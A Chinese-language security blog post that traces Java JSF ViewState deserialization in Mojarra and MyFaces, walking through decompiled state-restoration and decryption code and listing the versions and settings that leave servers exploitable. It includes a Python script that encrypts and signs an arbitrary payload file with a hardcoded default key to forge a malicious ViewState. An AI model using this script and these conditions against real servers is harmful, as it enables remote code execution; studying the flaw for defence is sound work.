Java安全之JSF 反序列化

Java安全之jsf 反序列化

前言

偶遇一些奇葩环境,拿出来炒冷饭

JSF简述

JSF”指的是2004年发布的第一个版本的Java规范。这方面的许多实现

规范存在。其中最常用的是Sun(现在的Oracle)发布的Mojarra和Apache发布的MyFaces

JavaServerFaces(JSF)概念在几年前就已经引入,现在主要在J2EE中使用

应用。它在web应用程序开发中最繁琐的部分之一:用户界面上添加了一个抽象层。

JSF层有助于在应用程序中集成复杂的小部件,例如:

•使用专用标签的图形组件;

•借助表单属性实现自动Ajax层;

•复杂格式的数据导出功能(例如:PDF、Excel等)。

然而,如果认为添加这种特性只会促进开发人员的任务,那就太天真了。事实上,它伴随着

模糊和复杂的机制。ViewState就是这些机制之一。

Mojarra 反序列化调试

web.xml中配置

<servlet>         <servlet-name>Faces Servlet</servlet-name>         <servlet-class>javax.faces.webapp.FacesServlet</servlet-class>         <load-on-startup>1</load-on-startup>     </servlet>     <!-- Map these files with JSF --> 	<servlet-mapping> 		<servlet-name>Faces Servlet</servlet-name> 		<url-pattern>/faces/*</url-pattern> 	</servlet-mapping> 	<servlet-mapping> 		<servlet-name>Faces Servlet</servlet-name> 		<url-pattern>*.jsf</url-pattern> 	</servlet-mapping> 
    public void service(ServletRequest req, ServletResponse resp) throws IOException, ServletException {         HttpServletRequest request = (HttpServletRequest)req;         HttpServletResponse response = (HttpServletResponse)resp;         this.requestStart(request.getRequestURI());         if (!this.isHttpMethodValid(request)) {             response.sendError(400);         } else {             //省略...             }              //省略...                         try {                 ResourceHandler handler = context.getApplication().getResourceHandler();                 if (handler.isResourceRequest(context)) {                     handler.handleResourceRequest(context);                 } else {                     this.lifecycle.execute(context);                     this.lifecycle.render(context);                 }             } catch (FacesException var12) {                            }                   //省略...             } finally {                 context.release();             }              this.requestEnd();         }     } 

调用this.lifecycle.execute(context);

com.sun.faces.lifecycle.LifecycleImpl

 public LifecycleImpl() {         this.phases = new Phase[]{null, new RestoreViewPhase(), new ApplyRequestValuesPhase(), new ProcessValidationsPhase(), new UpdateModelValuesPhase(), new InvokeApplicationPhase(), this.response};         this.listeners = new CopyOnWriteArrayList();     }      public void execute(FacesContext context) throws FacesException {         if (context == null) {             throw new NullPointerException(MessageUtils.getExceptionMessageString(com.sun.faces.NULL_PARAMETERS_ERROR, new Object[]{context}));         } else {             if (LOGGER.isLoggable(Level.FINE)) {                 LOGGER.fine(execute( + context + ));             }              int i = 1;              for(int len = this.phases.length - 1; i < len && !context.getRenderResponse() && !context.getResponseComplete(); ++i) {                 this.phases[i].doPhase(context, this, this.listeners.listIterator());             }          }     } 

this.phases[i].doPhase遍历调用doPhase,默认装载调用这几个列new RestoreViewPhase(), new ApplyRequestValuesPhase(), new ProcessValidationsPhase(), new UpdateModelValuesPhase(), new InvokeApplicationPhase(), this.response}; this.listeners = new CopyOnWriteArrayList()

    public void execute(FacesContext facesContext) throws FacesException {         if (LOGGER.isLoggable(Level.FINE)) {             LOGGER.fine(Entering RestoreViewPhase);         }          //省略无用代码...                              ViewHandler viewHandler = Util.getViewHandler(facesContext);                     boolean isPostBack = facesContext.isPostback() && !isErrorPage(facesContext);                     if (isPostBack) {                         facesContext.setProcessingEvents(false);                         viewRoot = viewHandler.restoreView(facesContext, viewId); 

该方法是获取请求过来的 路径的 这里传递/index.xhtml即获取该位置的ViewState视图。

省略无效代码,流程走到 com.sun.faces.application.view.FaceletViewHandlingStrategy

public UIViewRoot restoreView(FacesContext context, String viewId) {         Util.notNull(context, context);         Util.notNull(viewId, viewId);         if (UIDebug.debugRequest(context)) {             context.getApplication().createComponent(javax.faces.ViewRoot);         }          ViewHandler outerViewHandler = context.getApplication().getViewHandler();         String renderKitId = outerViewHandler.calculateRenderKitId(context);         ResponseStateManager rsm = RenderKitUtils.getResponseStateManager(context, renderKitId);         Object incomingState = rsm.getState(context, viewId); 
 public Object getState(FacesContext ctx, String viewId) throws IOException {         String stateString = getStateParamValue(ctx);         if (stateString == null) {             return null;         } else {             return stateless.equals(stateString) ? stateless : this.doGetState(stateString);         }     } 

来到com.sun.faces.renderki.ClientSideStateHelper#doGetState,关键代码,这里是jsf反序列化过程具体的实现

 protected Object doGetState(String stateString) {         if (stateless.equals(stateString)) {             return null;         } else {             ObjectInputStream ois = null;             InputStream bis = new Base64InputStream(stateString);              Object var5;             try {                 Object state;                 if (this.guard != null) {                     byte[] bytes = stateString.getBytes();                     int numRead = ((InputStream)bis).read(bytes, 0, bytes.length);                     byte[] decodedBytes = new byte[numRead];                     ((InputStream)bis).reset();                     ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length);                     bytes = this.guard.decrypt(decodedBytes);                     if (bytes == null) {                         state = null;                         return state;                     }                      bis = new ByteArrayInputStream(bytes);                 }                  if (this.compressViewState) {                     bis = new GZIPInputStream((InputStream)bis);                 }                  ois = this.serialProvider.createObjectInputStream((InputStream)bis);                 long stateTime = 0L;                 if (this.stateTimeoutEnabled) {                     try {                         stateTime = ois.readLong();                     } catch (IOException var25) {                         if (LOGGER.isLoggable(Level.FINE)) {                             LOGGER.fine(Client state timeout is enabled, but unable to find the time marker in the serialized state.  Assuming state to be old and returning null.);                         }                          state = null;                         return state;                     }                 }                  Object structure = ois.readObject();                 state = ois.readObject(); 

代码中inputStream bis = new Base64InputStream(stateString);

 public Base64InputStream(String encodedString) {         this.buf = this.decode(encodedString);         this.pos = 0;         this.count = this.buf.length;     } 

这里会对数据进行进行base64解密。解密完成后然后判断this.guard是否为空,this.guard是标记是否启用加密

if (this.guard != null) {                     byte[] bytes = stateString.getBytes();                     int numRead = ((InputStream)bis).read(bytes, 0, bytes.length);                     byte[] decodedBytes = new byte[numRead];                     ((InputStream)bis).reset();                     ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length);                     bytes = this.guard.decrypt(decodedBytes);                     if (bytes == null) {                         state = null;                         return state;                     } 

解密算法实现

 public byte[] decrypt(byte[] bytes) {         try {             byte[] macBytes = new byte[32];             System.arraycopy(bytes, 0, macBytes, 0, macBytes.length);             byte[] iv = new byte[16];             System.arraycopy(bytes, macBytes.length, iv, 0, iv.length);             byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];             System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length);             IvParameterSpec ivspec = new IvParameterSpec(iv);             Cipher decryptCipher = Cipher.getInstance(AES/CBC/PKCS5Padding);             decryptCipher.init(2, this.sk, ivspec);             this.decryptMac.update(iv);             this.decryptMac.update(encdata);             byte[] macBytesCalculated = this.decryptMac.doFinal();             if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {                 byte[] plaindata = decryptCipher.doFinal(encdata);                 return plaindata;             } else {                 System.err.println(ERROR: MAC did not verify!);                 return null;             }         } catch (Exception var9) {             System.err.println(ERROR: Decrypting: + var9.getCause());             return null;         }     }  

这里没使用加密直接跳过这个步骤,然后使用bis = new GZIPInputStream((InputStream)bis); 进行gzip解压,最后调用ois.readObject();进行反序列化

image-20220429005536038

https://www.ibm.com/docs/en/was/8.5.5?topic=parameters-jsf-engine-configuration

Mojarra 加密编码

默认情况下,“ViewState”数据存储在页面中的隐藏字段中,并使用base64编码进行编码。

ViewState也可以编码为base64和gzip(Base64Gzip),以H4sIAAA开头。

image-20220429012946893

com.sun.faces.renderkit.ByteArrayGuard#setupKeyAndMac

   private void setupKeyAndMac() {         try {             InitialContext context = new InitialContext();             String encodedKeyArray = (String)context.lookup(java:comp/env/jsf/ClientSideSecretKey);             byte[] keyArray = DatatypeConverter.parseBase64Binary(encodedKeyArray);             this.sk = new SecretKeySpec(keyArray, AES);         } catch (NamingException var5) {             if (LOGGER.isLoggable(Level.FINEST)) {                 LOGGER.log(Level.FINEST, Unable to find the encoded key., var5);             }         }          if (this.sk == null) {             try {                 KeyGenerator kg = KeyGenerator.getInstance(AES);                 kg.init(128);                 this.sk = kg.generateKey();             } catch (Exception var4) {                 throw new FacesException(var4);             }         }      } 

image-20220429014155002

先取前面32位个字节为mac地址,从32位后再去16位位iv值,剩下的就是加密后的数据了。

 public byte[] decrypt(FacesContext facesContext, byte[] bytes) {         try {             byte[] macBytes = new byte[32];             System.arraycopy(bytes, 0, macBytes, 0, macBytes.length);             byte[] iv = new byte[16];             System.arraycopy(bytes, macBytes.length, iv, 0, iv.length);             byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];             System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length);             IvParameterSpec ivspec = new IvParameterSpec(iv);             SecretKey secKey = this.getSecretKey(facesContext);             Cipher decryptCipher = Cipher.getInstance(AES/CBC/PKCS5Padding);             decryptCipher.init(2, secKey, ivspec);             Mac decryptMac = Mac.getInstance(HmacSHA256);             decryptMac.init(secKey);             decryptMac.update(iv);             decryptMac.update(encdata);             byte[] macBytesCalculated = decryptMac.doFinal();             if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {                 byte[] plaindata = decryptCipher.doFinal(encdata);                 return plaindata;             } else {                 System.err.println(ERROR: MAC did not verify!);                 return null;             }         } catch (Exception var12) {             System.err.println(ERROR: Decrypting: + var12.getCause());             return null;         }     } 

AES取密钥解密后,进行HmacSHA256解密,这个解密的密钥和iv是前面传递序列化字段的0-31个字节和32-47个字节内容

然后进行HmacSHA256解密后,就是gzip后的base64序列化数据了。

加密脚本

#!/usr/bin/python3 import sys import hmac from urllib import parse from base64 import b64encode from hashlib import sha1 from pyDes import *  YELLOW = \033[93m GREEN = \033[32m  def encrypt(payload,key): 	cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5) 	enc_payload = cipher.encrypt(payload) 	return enc_payload  def hmac_sig(enc_payload,key): 	hmac_sig = hmac.new(key, enc_payload, sha1) 	hmac_sig = hmac_sig.digest() 	return hmac_sig  key = b'JsF9876-'  if len(sys.argv) != 3 : 	print(YELLOW + [!] Usage : {} [Payload File] [Output File].format(sys.argv[0])) else: 	with open(sys.argv[1], rb) as f: 		payload = f.read() 		f.close() 	print(YELLOW + [+] Encrypting payload) 	print(YELLOW +   [!] Key : JsF9876-\n) 	enc_payload = encrypt(payload,key) 	print(YELLOW + [+] Creating HMAC signature) 	hmac_sig = hmac_sig(enc_payload,key) 	print(YELLOW + [+] Appending signature to the encrypted payload\n) 	payload = b64encode(enc_payload + hmac_sig) 	payload = parse.quote_plus(payload) 	print(YELLOW + [*] Final payload : {}\n.format(payload)) 	with open(sys.argv[2], w) as f: 		f.write(payload) 		f.close() 	print(GREEN + [*] Saved to : {}.format(sys.argv[2])) 

jsf攻击方式

利用条件

所有MyFaces版本1.1.7、1.2.8、2.0和更早版本,以及Mojarra 1.2.14、2.0.2和

JSF2.2之前的规范要求实现加密机制,但不要求使用加密机制。

Mojarra的默认javax.faces.STATE_SAVING_METHOD设置是server. 开发人员需要手动将其更改为,client Mojarra 才能进行利用。如果将序列化的 ViewState 发送到服务器,但 Mojarra 使用server则ViewState 保存它,不会尝试反序列化它。

MyFaces的默认javax.faces.STATE_SAVING_METHOD设置是server。但是MyFaces无论值是client或者是server,都能进行反序列化

安全层可以通过特定的配置参数启用。对于Mojarra,文件中的以下行

web.xml)启用ViewState数据加密。请注意,Mojarra不执行完整性检查(HMAC):

<enventry>  <enventryname>com.sun.faces.ClientStateSavingPassword</enventryname>  <enventrytype>java.lang.String</enventrytype>  <enventryvalue>[YOUR_SECRET_KEY]</enventryvalue> </enventry> 

对于MyFaces,以下几行启用ViewState加密和完整性检查

<contextparam> <paramname>org.apache.myfaces.USE_ENCRYPTION</paramname> <paramvalue>true</paramvalue> </contextparam> 

可以指定加密密钥以及算法。否则它们将由MyFaces自动生成。

还应该注意的是,2013年发布的JSF 2.2规范默认要求激活ViewState加密。

在那之前,Mojarra实现不像MyFaces那样默认启用它。

Mojarra 1.2.x-2.0.3 中,密码[will]用作 SecureRandom seed来生成DES algorithm key。

Mojarra 2.0.4-2.1.x 中,他们changed从DES到AES的算法,并且代码现在不再actually不再使用提供的密码来生成 key (以防止潜在的麻烦)。相反,完全随机的 key 是generated,它更安全。现在,JNDI条目基本上控制客户机状态是否应该加密。换句话说,它现在的行为就像一个 bool 配置条目。因此,使用哪个密码绝对不再重要。

参考

https://javaee.github.io/javaserverfaces-spec/

https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf

https://book.hacktricks.xyz/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization

结尾

多喝热水!!!